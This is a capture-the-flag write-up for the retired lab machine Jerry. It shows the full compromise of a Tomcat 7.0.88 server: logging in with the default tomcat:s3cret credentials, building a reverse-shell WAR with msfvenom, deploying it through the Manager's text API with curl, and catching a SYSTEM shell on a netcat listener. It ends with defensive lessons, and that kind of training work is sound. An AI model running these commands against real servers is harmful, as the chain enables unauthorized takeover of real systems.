Jerry
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Jerry is the shortest box in this corpus and the one that best makes a single point: a service can be perfectly up to date and still hand itself over whole. There is one port, a Tomcat 7.0.88 on 8080, and its management panel opens with default credentials that have been on every list for ten years,tomcat:s3cret. From there, the panel's whole job is deploying applications, so a.warwith a reverse shell inside gets deployed (WAR deployment). And there is no escalation: Tomcat runs asnt authority\system, so the shell arrives already being the administrator. Both flags sit in the same file, called2 for the price of 1.txt.
About the evidence. Two captures are published, both of them interfaces (section 12.7 of the standard): the search for Tomcat's default credentials, which is literally where the password comes from, and the browser's authentication dialog with the username and password already typed in. Everything else is a terminal and goes as text. Both flags are complete because the box is retired.
Recon#
Initial scan#
The returning TTL points at the operating system: each OS starts it at a default value and each router drops it by one per hop. ttl=127 is 128 minus one hop, so Windows.
ping -c 1 10.129.136.964 bytes from 10.129.136.9: icmp_seq=1 ttl=127 time=23.0 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.136.9 -oG scanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-08 00:24 +0000 Initiating SYN Stealth Scan at 00:24 Scanning 10.129.136.9 [65535 ports] Discovered open port 8080/tcp on 10.129.136.9 Completed SYN Stealth Scan at 00:24, 26.43s elapsed (65535 total ports) Nmap scan report for 10.129.136.9 Host is up, received user-set (0.041s latency). Scanned at 2026-11-08 00:24:02 UTC for 26s Not shown: 65534 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 8080/tcp open http-proxy syn-ack ttl 127 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 26.52 seconds Raw packets sent: 131089 (5.768MB) | Rcvd: 21 (924B)
One port out of 65,535. No SMB, no RDP, no WinRM: the whole box is that 8080, and that already says there will be neither pivoting nor lateral enumeration.
nmap -p8080 -sCV 10.129.136.9 -oN targetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-08 00:25 +0000 Nmap scan report for 10.129.136.9 Host is up (0.024s latency). PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/7.0.88 |_http-favicon: Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.81 seconds
Apache Tomcat 7.0.88, and the version matters less than it looks (from version to exploit): 7.0.88 is from 2018 and carries no memorable vulnerability. What gets exploited is not a flaw in the software, it is its configuration.
Tomcat - TCP 8080#
whatweb http://10.129.136.9:8080/http://10.129.136.9:8080/ [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache-Coyote/1.1], IP[10.129.136.9], Title[Apache Tomcat/7.0.88]
curl http://10.129.136.9:8080/<!DOCTYPE html> <html lang="en"> <head> <title>Apache Tomcat/7.0.88</title> ... <div id="actions"> <div class="button"> <a class="container shadow" href="/manager/status"><span>Server Status</span></a> </div> <div class="button"> <a class="container shadow" href="/manager/html"><span>Manager App</span></a> </div> <div class="button"> <a class="container shadow" href="/host-manager/html"><span>Host Manager</span></a> </div> </div> ... <h3>Managing Tomcat</h3> <p>For security, access to the <a href="/manager/html">manager webapp</a> is restricted. Users are defined in:</p> <pre>$CATALINA_HOME/conf/tomcat-users.xml</pre> ...
It is the welcome page of a freshly installed, untouched Tomcat, and it carries three buttons: server status, the Manager App and the Host Manager. The page itself says where users are defined, $CATALINA_HOME/conf/tomcat-users.xml, the same file that on Tabby lived at a path different from the one the documentation advertises. Here there is no need to read it.
Access: default credentials#
The Manager asks for basic authentication, and before building a wordlist it is worth trying what comes out of the box. Tomcat ships no enabled account by default, but installation guides and tutorials have been copying the same example pair for twenty years.


tomcat / s3cret, the fifth on the list. No brute force, no credential leak and no CVE: somebody left the documentation's example user in place.
Execution: a WAR with a shell inside#
Tomcat's Manager exists precisely to deploy applications, and a Java application is a .war. If you can deploy whatever you like there is nothing to exploit: the functionality gets used exactly as documented (WAR deployment).
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.120 LPORT=4444 -f war > shell.warPayload size: 1101 bytes Final size of war file: 1101 bytes
The deployment goes through the Manager's text API, not the web form: a PUT with curl -T against /manager/text/deploy, which is what the upload button does without a browser.
curl -u tomcat:s3cret -T shell.war "http://10.129.136.9:8080/manager/text/deploy?path=/shell&update=true"OK - Deployed application at context path /shell
The update=true allows redeploying over the top if something goes wrong, with no need to undeploy first. The OK - Deployed application response is the confirmation that a JSP of ours is already running inside the Tomcat; all that is left is requesting it.
curl "http://10.129.136.9:8080/shell/"That request returns nothing because the JSP does not answer: what it does is open the connection back to the listener, which has been waiting since before the deployment.
rlwrap nc -nlvp 4444listening on [any] 4444 ... connect to [10.10.15.120] from (UNKNOWN) [10.129.136.9] 49194 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\apache-tomcat-7.0.88>
The system version, 6.3.9600, is Windows Server 2012 R2, and the working directory is Tomcat's own.
No escalation: Tomcat already SYSTEM#
whoamiwhoami nt authority\system
This is where the box ends. Tomcat is running as SYSTEM, the most privileged account on the system, so the shell that just arrived is already the administrator's. It is not an oversight peculiar to this box: on Windows, a service installed by hand and registered without being given an account of its own keeps the system's, and nobody looks at it again.
cd C:\Users\Administrator\cd C:\Users\Administrator\
cd Desktopcd Desktop
dirdir Volume in drive C has no label. Volume Serial Number is 0834-6C04 Directory of C:\Users\Administrator\Desktop 06/19/2018 06:09 AM <DIR> . 06/19/2018 06:09 AM <DIR> .. 06/19/2018 06:09 AM <DIR> flags 0 File(s) 0 bytes 3 Dir(s) 2,419,666,944 bytes free
There is no root.txt on the desktop: there is a directory called flags.
cd flagscd flags
dirdir Volume in drive C has no label. Volume Serial Number is 0834-6C04 Directory of C:\Users\Administrator\Desktop\flags 06/19/2018 06:09 AM <DIR> . 06/19/2018 06:09 AM <DIR> .. 06/19/2018 06:11 AM 88 2 for the price of 1.txt 1 File(s) 88 bytes 2 Dir(s) 2,419,666,944 bytes free
type "2 for the price of 1.txt"type "2 for the price of 1.txt" user.txt 7004dbcef0f854e0fb401875f26ebd00 root.txt 04a8b36e1545a455393d067e772fe90e
Both flags in a single file, and the name is the box author's own joke: 7004dbcef0f854e0fb401875f26ebd00 and 04a8b36e1545a455393d067e772fe90e. The echo of each command before its output is a raw shell, with no pseudo-terminal, repeating what is typed into it.
Attack chain#
ping ttl=127 → Windows / nmap -p-: ONE single port, 8080
│ Apache Tomcat 7.0.88, untouched welcome page
▼
/manager/html asks for basic authentication
│ the documentation's default credentials ─► tomcat:s3cret
▼
msfvenom -p java/jsp_shell_reverse_tcp -f war ─► shell.war
│ curl -u tomcat:s3cret -T shell.war .../manager/text/deploy?path=/shell
▼
OK - Deployed application at context path /shell
│ curl http://<ip>:8080/shell/ ─► fires the JSP
▼
rlwrap nc -nlvp 4444 ─► whoami: nt authority\system (no escalation)
│ C:\Users\Administrator\Desktop\flags\
▼
type "2 for the price of 1.txt" ─► user.txt AND root.txt in the same fileLessons learned#
- A patched service can be exactly as open as an unpatched one. The Tomcat is from 2018 and none of its vulnerabilities get used: what fails is that somebody left the documentation's example account in place. Checking the version is fine, but trying the factory credentials costs a minute and solves more boxes.
- Tomcat's management panel is not exploited, it is used. Deploying applications is literally its job, and a Java application is a file we build. The fix is not patching anything: it is the Manager not being reachable and not having a known password.
- The text API skips the browser entirely.
curl -Tagainst/manager/text/deploydoes what the upload form does, and it fits in a script. It is also how you deploy when the role available ismanager-scriptrather thanmanager-gui, which is exactly the case on Tabby. - A single open port is information, not bad luck. With no SMB, no WinRM and no SSH there is no lateral movement to look for: everything the box offers sits behind that service, and enumeration concentrates there.
- Check what account the service runs under before hunting for an escalation. Here
whoamialready saidnt authority\systemand nothing else was needed. A service registered without an account of its own keeps the system's, and that turns any code execution into a full takeover.